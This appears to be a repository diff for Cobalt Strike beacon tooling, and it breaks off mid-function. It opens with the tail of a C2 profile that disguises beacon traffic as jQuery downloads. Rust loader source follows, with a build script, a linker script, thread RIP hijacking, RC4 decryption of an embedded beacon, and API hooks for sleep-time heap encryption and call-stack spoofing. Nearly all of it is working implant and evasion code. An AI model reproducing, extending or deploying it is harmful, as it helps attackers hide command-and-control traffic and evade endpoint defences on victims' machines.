e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for(\"boolean\"==typeof a&&(l=a,a=arguments[s]||{},s++),\"object\"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:\"jQuery\"+(\"3.3.1\"+Math.random()).replace(/\\D/g,\"\"),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||\"[object Object]\"!==c.call(e))&&(!(t=i(e))||\"function\"==typeof(n=f.call(t,\"constructor\")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?\"\":(e+\"\").replace(T,\"\")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,\"string\"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),\"function\"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each(\"Boolean Number String Function Array Date RegExp Object Error Symbol\".split(\" \"),function(e,t){l[\"[object \"+t+\"]\"]=t.toLowerCase()});function C(e){var t=!!e&&\"length\"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&(\"array\"===n||0===t||\"number\"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P=\"\r";
|
||||
# 1st Line
|
||||
prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */";
|
||||
append "\".(o=t.documentElement,Math.max(t.body[\"scroll\"+e],o[\"scroll\"+e],t.body[\"offset\"+e],o[\"offset\"+e],o[\"client\"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each(\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\".split(\" \"),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});";
|
||||
print;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
http-post {
|
||||
|
||||
set uri "/jquery-3.3.2.min.js";
|
||||
set verb "POST";
|
||||
|
||||
client {
|
||||
|
||||
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
|
||||
#header "Host" "code.jquery.com";
|
||||
header "Referer" "http://code.jquery.com/";
|
||||
header "Accept-Encoding" "gzip, deflate";
|
||||
|
||||
id {
|
||||
mask;
|
||||
base64url;
|
||||
parameter "__cfduid";
|
||||
}
|
||||
|
||||
output {
|
||||
mask;
|
||||
base64url;
|
||||
print;
|
||||
}
|
||||
}
|
||||
|
||||
server {
|
||||
|
||||
header "Server" "NetDNA-cache/2.2";
|
||||
header "Cache-Control" "max-age=0, no-cache";
|
||||
header "Pragma" "no-cache";
|
||||
header "Connection" "keep-alive";
|
||||
header "Content-Type" "application/javascript; charset=utf-8";
|
||||
|
||||
output {
|
||||
mask;
|
||||
base64url;
|
||||
## The javascript was changed. Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values)
|
||||
# 2nd Line
|
||||
prepend "!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for(\"boolean\"==typeof a&&(l=a,a=arguments[s]||{},s++),\"object\"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:\"jQuery\"+(\"3.3.1\"+Math.random()).replace(/\\D/g,\"\"),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||\"[object Object]\"!==c.call(e))&&(!(t=i(e))||\"function\"==typeof(n=f.call(t,\"constructor\")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?\"\":(e+\"\").replace(T,\"\")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,\"string\"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),\"function\"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each(\"Boolean Number String Function Array Date RegExp Object Error Symbol\".split(\" \"),function(e,t){l[\"[object \"+t+\"]\"]=t.toLowerCase()});function C(e){var t=!!e&&\"length\"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&(\"array\"===n||0===t||\"number\"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P=\"\r";
|
||||
# 1st Line
|
||||
prepend "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */";
|
||||
append "\".(o=t.documentElement,Math.max(t.body[\"scroll\"+e],o[\"scroll\"+e],t.body[\"offset\"+e],o[\"offset\"+e],o[\"client\"+e])):void 0===i?w.css(t,n,s):w.style(t,n,i,s)},t,a?i:void 0,a)}})}),w.each(\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\".split(\" \"),function(e,t){w.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});";
|
||||
print;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,65 @@
|
||||
//! Build script for the UDRL (User-Defined Reflective Loader).
|
||||
//!
|
||||
//! Assembles architecture-specific NASM sources (`start.asm`, `misc.asm`) into
|
||||
//! object files and links them into the final binary via the `cc` crate.
|
||||
//!
|
||||
//! Supported targets:
|
||||
//! - `x86_64-pc-windows-gnu` (win64 / PE32+)
|
||||
//! - `i686-pc-windows-gnu` (win32 / PE32)
|
||||
//!
|
||||
//! Call stack spoofing assembly lives in the `uwd` crate and is **not** compiled
|
||||
//! here - only the loader entry point and helper stubs are assembled.
|
||||
|
||||
use std::{env, process::Command};
|
||||
|
||||
/// Assemble a single NASM source file into a COFF object.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `format` - NASM output format (`"win64"` or `"win32"`).
|
||||
/// * `src` - Path to the `.asm` source file.
|
||||
/// * `obj` - Path for the output `.o` object file.
|
||||
fn assemble(format: &str, src: &str, obj: &str) {
|
||||
let status = Command::new("nasm")
|
||||
.args(&["-f", format, src, "-o", obj])
|
||||
.status()
|
||||
.unwrap_or_else(|e| panic!("Failed to run nasm on {src}: {e}"));
|
||||
|
||||
if !status.success() {
|
||||
panic!("nasm failed to assemble {src}");
|
||||
}
|
||||
}
|
||||
|
||||
fn main() {
|
||||
let target = env::var("TARGET").unwrap();
|
||||
let out_dir = env::var("OUT_DIR").unwrap();
|
||||
|
||||
// Output object paths (placed in Cargo's OUT_DIR so they don't pollute the tree).
|
||||
let start_obj = format!("{out_dir}/start.o");
|
||||
let misc_obj = format!("{out_dir}/misc.o");
|
||||
|
||||
if target.contains("x86_64") {
|
||||
// Assemble x64 entry point and helper stubs (PE32+ / COFF).
|
||||
assemble("win64", "asm/x64/start.asm", &start_obj);
|
||||
assemble("win64", "asm/x64/misc.asm", &misc_obj);
|
||||
} else if target.contains("i686") {
|
||||
// Assemble x86 entry point and helper stubs (PE32 / COFF).
|
||||
assemble("win32", "asm/x86/start.asm", &start_obj);
|
||||
assemble("win32", "asm/x86/misc.asm", &misc_obj);
|
||||
} else {
|
||||
panic!("Unsupported target: {target}");
|
||||
}
|
||||
|
||||
// Link assembled objects into the final static library.
|
||||
cc::Build::new()
|
||||
.object(&start_obj)
|
||||
.object(&misc_obj)
|
||||
.compile("asm");
|
||||
|
||||
// Rebuild when assembly sources or the linker script change.
|
||||
println!("cargo:rerun-if-changed=asm/x64/start.asm");
|
||||
println!("cargo:rerun-if-changed=asm/x64/misc.asm");
|
||||
println!("cargo:rerun-if-changed=asm/x86/start.asm");
|
||||
println!("cargo:rerun-if-changed=asm/x86/misc.asm");
|
||||
println!("cargo:rerun-if-changed=scripts/linker.ld");
|
||||
}
|
||||
@@ -0,0 +1,3 @@
|
||||
[toolchain]
|
||||
channel = "nightly"
|
||||
targets = ["x86_64-pc-windows-gnu", "i686-pc-windows-gnu"]
|
||||
@@ -0,0 +1,35 @@
|
||||
SECTIONS
|
||||
{
|
||||
. = 0x0000;
|
||||
|
||||
.text :
|
||||
{
|
||||
*( .text$A );
|
||||
*( .text$B );
|
||||
*( .text$C );
|
||||
*( .text$D );
|
||||
*( .text$E );
|
||||
*( .text$F );
|
||||
*( .text );
|
||||
*( .text.* );
|
||||
*( .rdata* );
|
||||
*( .data* );
|
||||
*( .idata* );
|
||||
*( .CRT* );
|
||||
*( .tls* );
|
||||
*( .ctors* );
|
||||
*( .edata* );
|
||||
KEEP( *(.text$ZZ) );
|
||||
}
|
||||
|
||||
/* Discard exception handling and debug sections */
|
||||
/DISCARD/ :
|
||||
{
|
||||
*(.pdata);
|
||||
*(.xdata);
|
||||
*(.debug*);
|
||||
*(.eh_frame);
|
||||
*(.note*);
|
||||
*(.comment*);
|
||||
}
|
||||
}
|
||||
+166
@@ -0,0 +1,166 @@
|
||||
//! ACE (Asynchronous Code Execution) thread trampoline.
|
||||
//!
|
||||
//! This module implements controlled thread creation for running the loader:
|
||||
//!
|
||||
//! 1. **Create suspended thread** - Start at RtlUserThreadStart+0x21
|
||||
//! 2. **Hijack RIP** - Redirect instruction pointer to loader function
|
||||
//! 3. **Resume execution** - Thread runs loader instead of original target
|
||||
//! 4. **Wait for completion** - Block until loader finishes
|
||||
//!
|
||||
//! # Why ACE?
|
||||
//!
|
||||
//! Running the loader in a separate thread provides:
|
||||
//! - Isolated execution context
|
||||
//! - Clean call stack (not nested in original entry)
|
||||
//! - Ability to wait on loader completion
|
||||
//! - Matches AceLdr's threading model
|
||||
|
||||
use {
|
||||
crate::loader,
|
||||
api::{api::Api, dbg_print, windows::*, NT_SUCCESS},
|
||||
core::{ffi::c_void, mem::transmute, ptr::null_mut},
|
||||
};
|
||||
|
||||
/// ACE entry point: creates a suspended thread, redirects RIP to loader, and resumes.
|
||||
///
|
||||
/// # Purpose
|
||||
///
|
||||
/// This function implements the "ACE" (Asynchronous Code Execution) technique to run
|
||||
/// the loader in a separate thread. This mirrors AceLdr's threading model and provides:
|
||||
/// - Isolated execution context for the loader
|
||||
/// - Clean separation between beacon entry and loader logic
|
||||
/// - Ability to wait on loader completion
|
||||
///
|
||||
/// # Execution Flow
|
||||
///
|
||||
/// 1. **Resolve APIs** - Get thread creation/manipulation functions from ntdll/kernel32
|
||||
/// 2. **Create suspended thread** - Spawn thread at RtlUserThreadStart+0x21 offset
|
||||
/// 3. **Get thread context** - Retrieve CPU state (registers) via NtGetContextThread
|
||||
/// 4. **Redirect RIP** - Point instruction pointer to loader() function
|
||||
/// 5. **Set thread context** - Update CPU state with new RIP via NtSetContextThread
|
||||
/// 6. **Resume thread** - Start execution via NtResumeThread
|
||||
/// 7. **Wait for completion** - Block until loader finishes (infinite wait)
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `_arg` - Unused parameter (required by thread start signature)
|
||||
///
|
||||
/// # Thread Context Manipulation
|
||||
///
|
||||
/// The thread is created suspended to allow RIP hijacking before execution:
|
||||
/// ```text
|
||||
/// Original RIP: RtlUserThreadStart+0x21 (Windows thread startup)
|
||||
/// ↓
|
||||
/// Modified RIP: loader() function address
|
||||
/// ↓
|
||||
/// Thread executes: loader() instead of intended start routine
|
||||
/// ```
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// - Creates native threads with manually modified context
|
||||
/// - Waits indefinitely on thread handle (blocking call)
|
||||
/// - Assumes loader() completes successfully
|
||||
#[link_section = ".text$B"]
|
||||
pub unsafe fn ace(_arg: *mut c_void) {
|
||||
let mut api = Api::new();
|
||||
#[cfg(feature = "spoof-uwd")]
|
||||
api.build_spoof_configs();
|
||||
|
||||
dbg_print!(api, b"[ACE] Started\n\0");
|
||||
|
||||
// Step 1: create the suspended beacon thread
|
||||
let mut thread: HANDLE = null_mut();
|
||||
if !NT_SUCCESS!(create_beacon_thread(&mut api, &mut thread)) {
|
||||
dbg_print!(api, b"[ACE] FAIL: create_beacon_thread\n\0");
|
||||
return;
|
||||
}
|
||||
dbg_print!(api, b"[ACE] Thread created: %p\n\0", thread);
|
||||
|
||||
// Step 2: grab the current thread context so we can patch RIP
|
||||
let mut ctx: CONTEXT = core::mem::zeroed();
|
||||
ctx.ContextFlags = CONTEXT_CONTROL;
|
||||
|
||||
api.ntdll.NtGetContextThread(thread, &mut ctx);
|
||||
|
||||
// Step 3: point RIP at our loader stub
|
||||
ctx.Rip = loader as *const () as u64;
|
||||
dbg_print!(api, b"[ACE] RIP -> loader: %p\n\0", ctx.Rip as usize);
|
||||
|
||||
api.ntdll.NtSetContextThread(thread, &mut ctx);
|
||||
|
||||
// Step 4: resume the thread so it runs the loader
|
||||
api.ntdll.NtResumeThread(thread, null_mut());
|
||||
dbg_print!(api, b"[ACE] Thread resumed, waiting\n\0");
|
||||
|
||||
// Step 5: keep Api alive until loader finishes to mirror C lifetime
|
||||
api.kernel32.WaitForSingleObject(thread, 0xFFFFFFFF);
|
||||
dbg_print!(api, b"[ACE] Loader completed\n\0");
|
||||
|
||||
// Zero sensitive data on stack (no more Drop impl)
|
||||
api.zero();
|
||||
}
|
||||
|
||||
/// Creates a suspended thread starting at RtlUserThreadStart+0x21 offset.
|
||||
///
|
||||
/// # Purpose
|
||||
///
|
||||
/// Creates a native Windows thread in suspended state with a specific start address
|
||||
/// inside ntdll's thread initialization routine. The +0x21 offset skips past the
|
||||
/// initial setup code in RtlUserThreadStart, matching AceLdr's approach.
|
||||
///
|
||||
/// # Why RtlUserThreadStart+0x21?
|
||||
///
|
||||
/// The offset +0x21 places the start address after the function prologue and initial
|
||||
/// setup code, allowing clean context manipulation before the thread begins execution.
|
||||
/// This is a known technique in reflective loaders for controlled thread startup.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `api` - Resolved API structure containing thread creation functions
|
||||
/// * `thread` - Output parameter receiving the created thread handle
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// NTSTATUS code from RtlCreateUserThread (STATUS_SUCCESS on success)
|
||||
///
|
||||
/// # Thread Creation Parameters
|
||||
///
|
||||
/// - Process: Current process (-1 handle)
|
||||
/// - Security: Default (NULL descriptor)
|
||||
/// - Suspended: TRUE (allows context modification before execution)
|
||||
/// - Stack: Default sizes (0 = system defaults)
|
||||
/// - Start address: RtlUserThreadStart+0x21 (ntdll internal function)
|
||||
/// - Parameter: NULL (no startup parameter)
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// - Manually calculates function pointer offset (+0x21)
|
||||
/// - Creates thread with non-standard entry point
|
||||
/// - Thread remains suspended until caller resumes it
|
||||
#[link_section = ".text$B"]
|
||||
unsafe fn create_beacon_thread(api: &mut Api, thread: &mut HANDLE) -> NTSTATUS {
|
||||
// Step 1: Calculate start address at RtlUserThreadStart+0x21 (skips prologue)
|
||||
let suspended: BOOLEAN = TRUE as _;
|
||||
let addr = (api.ntdll.RtlUserThreadStart_ptr as *mut u8).offset(0x21);
|
||||
let start_address: PUSER_THREAD_START_ROUTINE = transmute(addr);
|
||||
|
||||
dbg_print!(api, b"[ACE] RtlUserThreadStart+0x21: %p\n\0", addr);
|
||||
|
||||
// Step 2: Create suspended thread with patched entry point
|
||||
let status = api.ntdll.RtlCreateUserThread(
|
||||
-1isize as HANDLE, // Current process
|
||||
null_mut(), // Default security
|
||||
suspended, // Create suspended for RIP hijack
|
||||
0, // Stack zero bits
|
||||
0, // Stack reserved (default)
|
||||
0, // Stack commit (default)
|
||||
start_address, // RtlUserThreadStart+0x21
|
||||
null_mut(), // Thread parameter
|
||||
thread, // Output handle
|
||||
null_mut(), // Client ID (unused)
|
||||
);
|
||||
|
||||
dbg_print!(api, b"[ACE] RtlCreateUserThread: %x\n\0", status);
|
||||
status
|
||||
}
|
||||
@@ -0,0 +1,124 @@
|
||||
//! Runtime beacon decryption using RC4.
|
||||
//!
|
||||
//! This module provides RC4 decryption for the encrypted beacon payload. The
|
||||
//! encryption key is prepended to the loader by the CNA script (16 bytes before
|
||||
//! the stub).
|
||||
//!
|
||||
//! # RC4 Algorithm
|
||||
//!
|
||||
//! RC4 is a stream cipher that generates a pseudo-random keystream:
|
||||
//!
|
||||
//! 1. **Key Scheduling (KSA)** - Initialize 256-byte state array from key
|
||||
//! 2. **PRGA** - Generate keystream bytes by swapping state elements
|
||||
//! 3. **XOR** - Combine keystream with ciphertext to produce plaintext
|
||||
//!
|
||||
//! # Usage
|
||||
//!
|
||||
//! ```text
|
||||
//! CONFIG contains:
|
||||
//! [16-byte RC4 key][encrypted beacon]
|
||||
//!
|
||||
//! decrypt_beacon(key, src, dst, size) → plaintext beacon in dst
|
||||
//! ```
|
||||
//!
|
||||
//! Based on TitanLdr-ng's Arc4.c implementation for position-independent code.
|
||||
|
||||
/// RC4 cipher context (256-byte state + indices)
|
||||
#[repr(C)]
|
||||
struct Arc4Context {
|
||||
i: u8,
|
||||
j: u8,
|
||||
s: [u8; 256],
|
||||
}
|
||||
|
||||
/// Initializes RC4 context with a key (Key Scheduling Algorithm).
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `ctx` - Pointer to RC4 context structure
|
||||
/// * `key` - Pointer to encryption key bytes
|
||||
/// * `key_len` - Length of key in bytes
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// - `ctx` must be valid and writable
|
||||
/// - `key` must be valid for `key_len` bytes
|
||||
#[link_section = ".text$E"]
|
||||
unsafe fn arc4_init(ctx: *mut Arc4Context, key: *const u8, key_len: usize) {
|
||||
// Step 1: Initialize state array with identity permutation (0, 1, 2, ..., 255)
|
||||
for i in 0..256 {
|
||||
(*ctx).s[i] = i as u8;
|
||||
}
|
||||
|
||||
(*ctx).i = 0;
|
||||
(*ctx).j = 0;
|
||||
|
||||
// Step 2: Key Scheduling Algorithm (KSA) - mix key into state
|
||||
let mut j: u8 = 0;
|
||||
for i in 0..256 {
|
||||
j = j
|
||||
.wrapping_add((*ctx).s[i])
|
||||
.wrapping_add(*key.add(i % key_len));
|
||||
|
||||
// Swap s[i] and s[j]
|
||||
let tmp = (*ctx).s[i];
|
||||
(*ctx).s[i] = (*ctx).s[j as usize];
|
||||
(*ctx).s[j as usize] = tmp;
|
||||
}
|
||||
}
|
||||
|
||||
/// Generates the next keystream byte (Pseudo-Random Generation Algorithm).
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// Next byte of the RC4 keystream.
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// - `ctx` must be valid and initialized via `arc4_init`
|
||||
#[link_section = ".text$E"]
|
||||
unsafe fn arc4_next(ctx: *mut Arc4Context) -> u8 {
|
||||
// Step 1: Increment i and update j
|
||||
(*ctx).i = (*ctx).i.wrapping_add(1);
|
||||
(*ctx).j = (*ctx).j.wrapping_add((*ctx).s[(*ctx).i as usize]);
|
||||
|
||||
// Step 2: Swap s[i] and s[j]
|
||||
let tmp = (*ctx).s[(*ctx).i as usize];
|
||||
(*ctx).s[(*ctx).i as usize] = (*ctx).s[(*ctx).j as usize];
|
||||
(*ctx).s[(*ctx).j as usize] = tmp;
|
||||
|
||||
// Step 3: Generate keystream byte from s[s[i] + s[j]]
|
||||
let t = (*ctx).s[(*ctx).i as usize].wrapping_add((*ctx).s[(*ctx).j as usize]);
|
||||
(*ctx).s[t as usize]
|
||||
}
|
||||
|
||||
/// Decrypt the beacon using RC4 (Titan-style: source to destination)
|
||||
///
|
||||
/// This function decrypts from the embedded encrypted beacon to a separate
|
||||
/// RW buffer, matching TitanLdr's approach. The embedded beacon stays encrypted.
|
||||
///
|
||||
/// # Arguments
|
||||
/// * `key_ptr` - Pointer to the 16-byte RC4 key (from CONFIG)
|
||||
/// * `src` - Pointer to encrypted beacon (in .text section, read-only)
|
||||
/// * `dst` - Pointer to destination buffer (RW memory, allocated by caller)
|
||||
/// * `size` - Size of beacon to decrypt (in bytes)
|
||||
///
|
||||
/// # Safety
|
||||
/// - key_ptr must be valid for 16 bytes
|
||||
/// - src must be valid and readable for size bytes
|
||||
/// - dst must be valid and writable for size bytes
|
||||
/// - Caller must allocate dst buffer before calling
|
||||
#[link_section = ".text$E"]
|
||||
pub unsafe fn decrypt_beacon(key_ptr: *const u8, src: *const u8, dst: *mut u8, size: usize) {
|
||||
// Step 1: Stack-allocate RC4 context (no heap needed, PIC-safe)
|
||||
let mut ctx: Arc4Context = core::mem::zeroed();
|
||||
|
||||
// Step 2: Initialize RC4 with the 16-byte key
|
||||
arc4_init(&mut ctx, key_ptr, 16);
|
||||
|
||||
// Step 3: Decrypt by XORing each byte with keystream
|
||||
for i in 0..size {
|
||||
let keystream_byte = arc4_next(&mut ctx);
|
||||
*dst.add(i) = *src.add(i) ^ keystream_byte;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,978 @@
|
||||
//! IAT hooks for beacon API interception.
|
||||
//!
|
||||
//! All hooks access the persisted `Api` via `(*StubAddr() as PSTUB).api`.
|
||||
//! Hooks for ntdll/kernel32/kernelbase/advapi32 use auto-spoofing wrapper
|
||||
//! methods. Hooks for external modules (wininet, winhttp, dnsapi, ws2_32)
|
||||
//! resolve functions by hash and call via `spoof_uwd!` with the kernelbase
|
||||
//! spoof config.
|
||||
//!
|
||||
//! Sleep_Hook copies Api to the stack because the beacon heap (where Api
|
||||
//! lives) gets encrypted during sleep obfuscation.
|
||||
|
||||
#[cfg(feature = "sleep-xor")]
|
||||
use hypnus::common::xor_heap;
|
||||
#[cfg(any(
|
||||
feature = "sleep-ekko",
|
||||
feature = "sleep-foliage",
|
||||
feature = "sleep-zilean"
|
||||
))]
|
||||
use hypnus::common::{encrypt_heap_rc4, generate_encryption_key};
|
||||
#[cfg(feature = "sleep-ekko")]
|
||||
use hypnus::ekko;
|
||||
#[cfg(feature = "sleep-foliage")]
|
||||
use hypnus::foliage;
|
||||
#[cfg(feature = "sleep-xor")]
|
||||
use hypnus::xor;
|
||||
#[cfg(feature = "sleep-zilean")]
|
||||
use hypnus::zilean;
|
||||
use {
|
||||
crate::{StubAddr, PSTUB},
|
||||
api::{api::Api, dbg_print, hash_str, util::get_loaded_module_by_hash, windows::*},
|
||||
core::{ffi::c_void, mem::transmute},
|
||||
};
|
||||
// =============================================================================
|
||||
// Heap hooks - redirect allocations to the isolated beacon heap
|
||||
// =============================================================================
|
||||
|
||||
#[link_section = ".text$D"]
|
||||
pub unsafe extern "C" fn GetProcessHeap_Hook() -> HANDLE {
|
||||
let stub_ptr = StubAddr() as PSTUB;
|
||||
(*stub_ptr).beacon_heap_handle
|
||||
}
|
||||
|
||||
#[link_section = ".text$D"]
|
||||
pub unsafe extern "C" fn RtlAllocateHeap_Hook(
|
||||
heap_handle: PVOID,
|
||||
flags: ULONG,
|
||||
size: SIZE_T,
|
||||
) -> PVOID {
|
||||
let api = &mut *(*(StubAddr() as PSTUB)).api;
